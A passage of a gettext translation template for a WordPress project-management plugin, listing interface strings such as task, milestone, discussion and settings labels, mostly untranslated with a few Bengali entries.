"Allow" -msgstr "" - -#: vendor/appsero/client/src/Insights.php:382 -msgid "No thanks" -msgstr "" - -#: vendor/appsero/client/src/Insights.php:747 -msgid "If you have a moment, please let us know why you are deactivating:" -msgstr "" - -#: vendor/appsero/client/src/Insights.php:762 -msgid "I rather wouldn't say" -msgstr "" - -#: vendor/appsero/client/src/Insights.php:763 -msgid "Submit & Deactivate" -msgstr "" - -#: vendor/appsero/client/src/Insights.php:764 views/assets/js/pm.js:9 -#: views/assets/js/pm.js:34 -#: views/assets/src/components/categories/edit-category-form.vue:23 -#: views/assets/src/components/common/comment-form.vue:15 -#: views/assets/src/components/common/list-filter.vue:79 -#: views/assets/src/components/common/popup-modal.vue:174 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 -#: views/assets/src/components/project-overview/addNewUser.vue:52 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:15 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:31 -#: views/assets/src/components/project-task-lists/single-task.vue:268 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:15 -#: views/assets/src/components/settings/new-task-type-form.vue:26 -#: views/assets/src/components/settings/new-task-type-form.vue:35 -msgid "Cancel" -msgstr "" - -#: views/assets/js/library.js:1 views/assets/js/pm.js:1 -#: views/assets/src/components/categories/categories.vue:281 -#: views/assets/src/components/categories/mixin.js:182 -#: views/assets/src/components/common/comments.vue:436 -#: views/assets/src/components/project-discussions/mixin.js:511 -#: views/assets/src/components/project-overview/mixin.js:98 -#: views/assets/src/components/project-task-lists/list-comments.vue:436 -#: views/assets/src/components/project-task-lists/mixin.js:427 -#: views/assets/src/components/project-task-lists/mixin.js:659 -#: views/assets/src/components/project-task-lists/task-comments.vue:209 -msgid "Are you sure?" -msgstr "" - -#: views/assets/js/pm.js:1 -#: views/assets/src/components/project-milestones/mixin.js:316 -msgid "Are you sure you want to delete this milestones?" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/directive.js:84 -msgid "No users found." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/directive.js:85 -#: views/assets/src/components/project-lists/project-create-form.vue:128 -msgid "Create a new user" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/project-new-user-form.vue:7 -#: views/assets/src/components/project-overview/addNewUser.vue:7 -msgid "Username" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/project-new-user-form.vue:12 -#: views/assets/src/components/project-overview/addNewUser.vue:12 -msgid "First Name" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/project-new-user-form.vue:17 -#: views/assets/src/components/project-overview/addNewUser.vue:17 -msgid "Last Name" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/project-new-user-form.vue:22 -#: views/assets/src/components/project-overview/addNewUser.vue:22 -msgid "Email" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/project-create-form.vue:13 -#: views/assets/src/components/project-lists/project-filter-by-category.vue:5 -msgid "- Project Category -" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/project-create-form.vue:53 -msgid "Notify Co-Workers" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/common/color-picker.vue:31 -#: views/assets/src/components/project-lists/project-create-form.vue:60 -msgid "Close" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "action" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/common/header.vue:25 -#: views/assets/src/components/project-lists/project-summary.vue:31 -msgid "Complete" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/common/header.vue:28 -#: views/assets/src/components/project-lists/project-summary.vue:34 -msgid "Restore" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Delete project" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/categories/categories.vue:57 -#: views/assets/src/components/categories/categories.vue:111 -#: views/assets/src/components/categories/categories.vue:163 -#: views/assets/src/components/common/comments.vue:39 -#: views/assets/src/components/common/header.vue:36 -#: views/assets/src/components/project-lists/project-create-form.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:45 -#: views/assets/src/components/project-task-lists/completed-tasks.vue:48 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:91 -#: views/assets/src/components/project-task-lists/list-comments.vue:39 -#: views/assets/src/components/project-task-lists/lists.vue:172 -#: views/assets/src/components/project-task-lists/single-list.vue:52 -#: views/assets/src/components/project-task-lists/single-task.vue:75 -#: views/assets/src/components/project-task-lists/task-comments.vue:39 -#: views/assets/src/components/settings/task-type-item.vue:14 -msgid "Delete" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Project Description" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "No Description Found!" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-overview/directive.js:9 -#: views/assets/src/components/project-task-lists/single-task.vue:285 -msgid "Activity" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/common/menu.vue:219 -#: views/assets/src/components/project-discussions/discussions.vue:20 -#: views/assets/src/components/project-milestones/completed-milestones.vue:32 -#: views/assets/src/components/project-milestones/late-milestones.vue:39 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 -#: views/assets/src/components/project-overview/overview.vue:32 -msgid "Discussions" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/common/list-drop-down.vue:42 -#: views/assets/src/components/common/menu.vue:230 -#: views/assets/src/components/project-milestones/completed-milestones.vue:23 -#: views/assets/src/components/project-milestones/late-milestones.vue:30 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 -#: views/assets/src/components/project-overview/overview.vue:47 -#: views/assets/src/components/project-task-lists/default-list-page.vue:4 -msgid "Task Lists" -msgstr "কার্য তালিকা" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/discussions.vue:110 -#: views/assets/src/components/project-discussions/individual-discussions.vue:56 -#: views/assets/src/components/project-overview/overview.vue:69 -msgid "Comments" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/common/menu.vue:252 -#: views/assets/src/components/project-overview/overview.vue:83 -msgid "Files" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/common/menu.vue:241 -#: views/assets/src/components/project-milestones/milestones.vue:21 -#: views/assets/src/components/project-overview/overview.vue:98 -msgid "Milestones" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-overview/overview.vue:108 -msgid "Last 30 days" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-overview/overview.vue:116 -msgid "Users" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-overview/overview.vue:119 -msgid "Add" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-activities/activities.vue:47 -msgid "Load More ..." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-activities/activities.vue:49 -msgid "No activities found." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-files/files.vue:31 -msgid "Attached to" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-files/files.vue:33 -msgid "by" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-files/files.vue:35 -msgid "admin" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 -msgid "New Task List" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:17 -msgid "- Milestone -" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 -#: views/assets/src/components/project-task-lists/new-task-form.vue:283 -msgid "Add Task" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Add New Task (Character limit 200)" -msgstr "নতুন টাস্ক যুক্ত করুন (চরিত্রের সীমা 200)" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/common/comment-form.vue:32 -#: views/assets/src/components/common/users-drop-down.vue:4 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:32 -#: views/assets/src/components/project-task-lists/new-task-form.vue:37 -#: views/assets/src/components/project-task-lists/single-task.vue:133 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:32 -msgid "Assign to" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Assign user" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/common/color-picker.vue:25 -#: views/assets/src/components/my-tasks/overview.vue:220 -#: views/assets/src/components/my-tasks/search-task.vue:226 -#: views/assets/src/components/project-task-lists/lists.vue:297 -msgid "Clear" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/new-task-form.vue:121 -#: views/assets/src/components/settings/header.vue:16 -msgid "Task Type" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/common/popup-modal.vue:175 -#: views/assets/src/components/my-tasks/my-tasks.vue:7 -msgid "Add New" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/move-task.vue:12 -msgid "Task: " -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Search Lists" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Move Task" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:59 -#: views/assets/src/components/project-task-lists/lists.vue:720 -#: views/assets/src/components/project-task-lists/single-task.vue:68 -msgid "Make Private" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:65 -msgid "Make Public" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 -msgid "Duplicate" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/categories/categories.vue:110 -#: views/assets/src/components/common/comments.vue:33 -#: views/assets/src/components/project-discussions/discussions.vue:168 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:77 -#: views/assets/src/components/project-task-lists/list-comments.vue:33 -#: views/assets/src/components/project-task-lists/lists.vue:166 -#: views/assets/src/components/project-task-lists/single-list.vue:46 -#: views/assets/src/components/project-task-lists/task-comments.vue:33 -#: views/assets/src/components/settings/task-type-item.vue:12 -msgid "Edit" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:84 -msgid "Move" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/list-tasks.vue:15 -#: views/assets/src/components/project-task-lists/list-tasks.vue:43 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 -msgid "More Tasks" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/list-tasks.vue:23 -msgid "Show Completed Task" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/list-tasks.vue:26 -msgid "Hide Completed Task" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/default-list-page.vue:6 -msgid "" -"You can list all your Tasks in a single discussion using a Task list. Use " -"these lists to divide a project into several sectors, assign co-workers and " -"check progress." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/default-list-page.vue:14 -msgid "When to use Task Lists?" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/default-list-page.vue:17 -msgid "To partition a project internals." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/default-list-page.vue:18 -msgid "To mark milestone points." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/default-list-page.vue:19 -msgid "To assign people to tasks." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/lists.vue:24 -msgid "Add Task List" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 -#: views/assets/src/components/common/list-filter.vue:6 -#: views/assets/src/components/project-task-lists/lists.vue:226 -msgid "Task Filter" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/lists.vue:35 -msgid "Filter" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Single List" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/lists.vue:233 -msgid "Task Title" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 -msgid "Type task list name" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 -#: views/assets/src/components/common/list-filter.vue:32 -#: views/assets/src/components/project-task-lists/lists.vue:251 -msgid "No task lists found." -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 -#: views/assets/src/components/common/list-filter.vue:38 -#: views/assets/src/components/project-task-lists/lists.vue:257 -msgid "Status" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 -#: views/assets/src/components/common/list-filter.vue:41 -#: views/assets/src/components/my-tasks/overview.vue:68 -#: views/assets/src/components/my-tasks/search-task.vue:56 -#: views/assets/src/components/project-lists/project-header-menu.vue:17 -#: views/assets/src/components/project-task-lists/lists.vue:260 -#: views/assets/src/components/project-task-lists/single-task.vue:35 -msgid "Completed" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 -#: views/assets/src/components/common/list-filter.vue:44 -#: views/assets/src/components/project-task-lists/lists.vue:263 -msgid "On-going" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 -#: views/assets/src/components/common/list-filter.vue:49 -#: views/assets/src/components/project-task-lists/lists.vue:268 -msgid "Assigned to" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Done" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 -msgid "Incomplete Tasks" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 -msgid "No tasks found." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 -msgid "Completed Tasks" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/common/comment-form.vue:21 -#: views/assets/src/components/common/comment-form.vue:203 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:21 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:124 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:21 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:123 -msgid "Attach" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/common/comment-form.vue:27 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:27 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:27 -msgid "Notify user" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Search User" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/common/comments.vue:75 -#: views/assets/src/components/project-task-lists/list-comments.vue:75 -#: views/assets/src/components/project-task-lists/task-comments.vue:75 -msgid "Add a comment" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/single-list.vue:17 -msgid "Back to Task Lists" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/common/comments.vue:4 -#: views/assets/src/components/project-task-lists/list-comments.vue:4 -#: views/assets/src/components/project-task-lists/single-list.vue:72 -#: views/assets/src/components/project-task-lists/task-comments.vue:4 -msgid "Discussion" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/common/file-uploader.vue:10 -msgid "Delete File" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/common/file-uploader.vue:16 -msgid "To attach" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/common/file-uploader.vue:20 -msgid "from your computer." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/discussions.vue:23 -msgid "" -"Use our built in discussion panel to create an open discussion, a group " -"discussion or a private conversation. Note that the Admin can always " -"moderate these discussions." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/discussions.vue:27 -#: views/assets/src/components/project-discussions/discussions.vue:54 -msgid "Add New Discussion" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/discussions.vue:32 -#: views/assets/src/components/project-discussions/discussions.vue:59 -msgid "Create a new message" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/discussions.vue:38 -msgid "When to use Discussions?" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/discussions.vue:41 -msgid "To discuss a work matter privately." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/discussions.vue:42 -msgid "To exchange files privately." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/discussions.vue:43 -msgid "To discuss in a group." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/discussions.vue:44 -msgid "To create an open discussion visible to all." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/discussions.vue:68 -msgid "Discussion List" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/discussions.vue:84 -#: views/assets/src/components/project-discussions/individual-discussions.vue:33 -msgid "By" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-discussions/discussions.vue:88 -#: views/assets/src/components/project-discussions/individual-discussions.vue:36 -#: views/assets/src/components/project-discussions/individual-discussions.vue:72 -#: views/assets/src/components/project-task-lists/single-task.vue:49 -msgid "on" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-milestones/late-milestones.vue:3 -msgid "Late Milestones" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 -msgid "Upcoming Milestones" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 -msgid "left -" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-milestones/completed-milestones.vue:3 -msgid "Completed Milestones" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-milestones/completed-milestones.vue:43 -msgid "Completed on:" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-milestones/milestones.vue:23 -msgid "" -"Create a lifecycle of your projects using milestones. Time mark the " -"different stages of your project with multiple milestones and also it will " -"help the assigned people to aim for a date to complete the project according " -"to those steps." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-milestones/milestones.vue:26 -#: views/assets/src/components/project-milestones/milestones.vue:54 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 -msgid "Add Milestone" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-milestones/milestones.vue:39 -msgid "When to use Milestones?" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-milestones/milestones.vue:42 -msgid "To set a target date for the project overall." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-milestones/milestones.vue:43 -msgid "To divide a project into several development-time phases." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-milestones/milestones.vue:44 -msgid "To coordinate projects and assigned persons timely." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/project-header-menu.vue:11 -msgid "Active" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/project-header-menu.vue:23 -msgid "Favourite" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/common/list-filter.vue:238 -#: views/assets/src/components/common/list-filter.vue:242 -#: views/assets/src/components/common/list-filter.vue:253 -#: views/assets/src/components/common/list-filter.vue:315 -#: views/assets/src/components/common/list-filter.vue:382 -#: views/assets/src/components/project-lists/project-header-menu.vue:29 -#: views/assets/src/components/project-task-lists/lists.vue:405 -#: views/assets/src/components/project-task-lists/lists.vue:451 -#: views/assets/src/components/project-task-lists/lists.vue:517 -#: views/assets/src/components/project-task-lists/lists.vue:702 -#: views/assets/src/components/project-task-lists/lists.vue:725 -msgid "All" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/project-view.vue:7 -#: views/assets/src/components/project-lists/project-view.vue:26 -msgid "Grid View" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/project-view.vue:13 -#: views/assets/src/components/project-lists/project-view.vue:25 -msgid "List View" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid " Tasks" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid " Discussions" -msgstr "" -"\n" -"আলোচনা" - -#: views/assets/js/pm.js:9 -msgid " Task Lists" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid " Files" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid " Milestones" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid " Comments" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 -#: views/emails/html/new-project.php:10 -msgid "New Project" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Search By Client..." -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Search All..." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/categories/edit-category-form.vue:5 -msgid "Quick Edit" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/categories/categories.vue:27 -#: views/assets/src/components/categories/categories.vue:80 -#: views/assets/src/components/categories/categories.vue:137 -#: views/assets/src/components/categories/edit-category-form.vue:8 -#: views/assets/src/components/settings/task-types.vue:22 -msgid "Name" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/categories/categories.vue:33 -#: views/assets/src/components/categories/categories.vue:85 -#: views/assets/src/components/categories/categories.vue:143 -#: views/assets/src/components/categories/edit-category-form.vue:14 -#: views/assets/src/components/project-task-lists/single-task.vue:234 -#: views/assets/src/components/settings/new-task-type-form.vue:15 -#: views/assets/src/components/settings/task-types.vue:23 -msgid "Description" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/categories/categories.vue:23 -#: views/assets/src/components/categories/categories.vue:232 -msgid "Add New Category" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/categories/categories.vue:54 -msgid "Select bulk action" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/categories/categories.vue:56 -#: views/assets/src/components/categories/categories.vue:162 -msgid "Bulk Actions" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Apply" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/categories/categories.vue:75 -#: views/assets/src/components/common/notify-user.vue:7 -msgid "Select all" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/importtools/trello.vue:19 -msgid "Provide your App key & Token" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Imports" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/router.js:28 -msgid "My tasks" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/complete-task.vue:24 -msgid "Completed at" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/complete-task.vue:71 -#: views/assets/src/components/my-tasks/current-task.vue:87 -#: views/assets/src/components/my-tasks/outstanding-task.vue:69 -msgid "No task found!" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/outstanding-task.vue:24 -msgid "Overdue" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Search by Task Title" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "All Projects" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/search-task.vue:20 -#: views/assets/src/components/my-tasks/search-task.vue:35 -msgid "No project found." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/search-task.vue:54 -msgid "Current Task" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/search-task.vue:55 -msgid "Outstanding Task" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/activities.vue:43 -msgid "No activities found!" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/activities.vue:45 -msgid "Load More" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/directives.js:19 -msgid "activity" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/directives.js:30 -msgid "Completed Task" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/directives.js:41 -msgid "Assigned Task" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/calendar.vue:4 -msgid "My Calendar" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/overview.vue:18 -msgid "My Task Overview" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/overview.vue:20 -msgid "Activity Filter" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/overview.vue:47 -msgid "At a glance" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/overview.vue:52 -msgid "Current" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/overview.vue:60 -msgid "Outstanding" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/common/menu.vue:208 -#: views/assets/src/components/my-tasks/my-task-header.vue:35 -#: views/assets/src/components/my-tasks/overview.vue:77 -msgid "Activities" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/my-task-header.vue:8 -msgid "My Tasks" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/common/menu.vue:197 -#: views/assets/src/components/my-tasks/my-task-header.vue:28 -msgid "Overview" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/new-task.vue:24 -msgid "New Task" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 -#: views/assets/src/components/common/globally-task-create-form.vue:6 -#: views/assets/src/components/my-tasks/new-task.vue:28 -msgid "Project" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Type project name" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/new-task.vue:41 -msgid "No project found!" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 -#: views/assets/src/components/common/globally-task-create-form.vue:18 -#: views/assets/src/components/my-tasks/new-task.vue:44 -msgid "Loading projects" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 -#: views/assets/src/components/common/globally-task-create-form.vue:30 -#: views/assets/src/components/my-tasks/new-task.vue:56 -msgid "In List" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/new-task.vue:70 -msgid "No task lists found!" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 -#: views/assets/src/components/common/globally-task-create-form.vue:40 -#: views/assets/src/components/my-tasks/new-task.vue:73 -msgid "Loading task lists" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:7 -#: views/assets/src/components/settings/header.vue:5 -msgid "General Settings" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:7 -#: views/assets/src/components/settings/header.vue:9 -msgid "E-Mail Settings" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/pusher/settings-tab-menu.vue:3 -#: views/assets/src/components/settings/header.vue:12 -msgid "Pusher" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:12 -msgid "File Upload Limit" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:16 -msgid "File Size in Megabytes. e.g: 2" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:21 -msgid "Projects Per Page" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:25 -msgid "-1 for unlimited" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:31 -msgid "Task Lists Per Page" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:39 -msgid "Incomplete Tasks Per Page" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:47 -msgid "Completed Tasks Per Page" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:55 -msgid "Project Managing Capability" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:68 -msgid "Select the user roles who can see and manage all projects." -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:74 -msgid "Project Creation Capability" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:85 -msgid "Select the user roles who can create projects." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/settings/new-task-type-form.vue:6 -msgid "Type Name" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Type name..." -msgstr "" - -#: 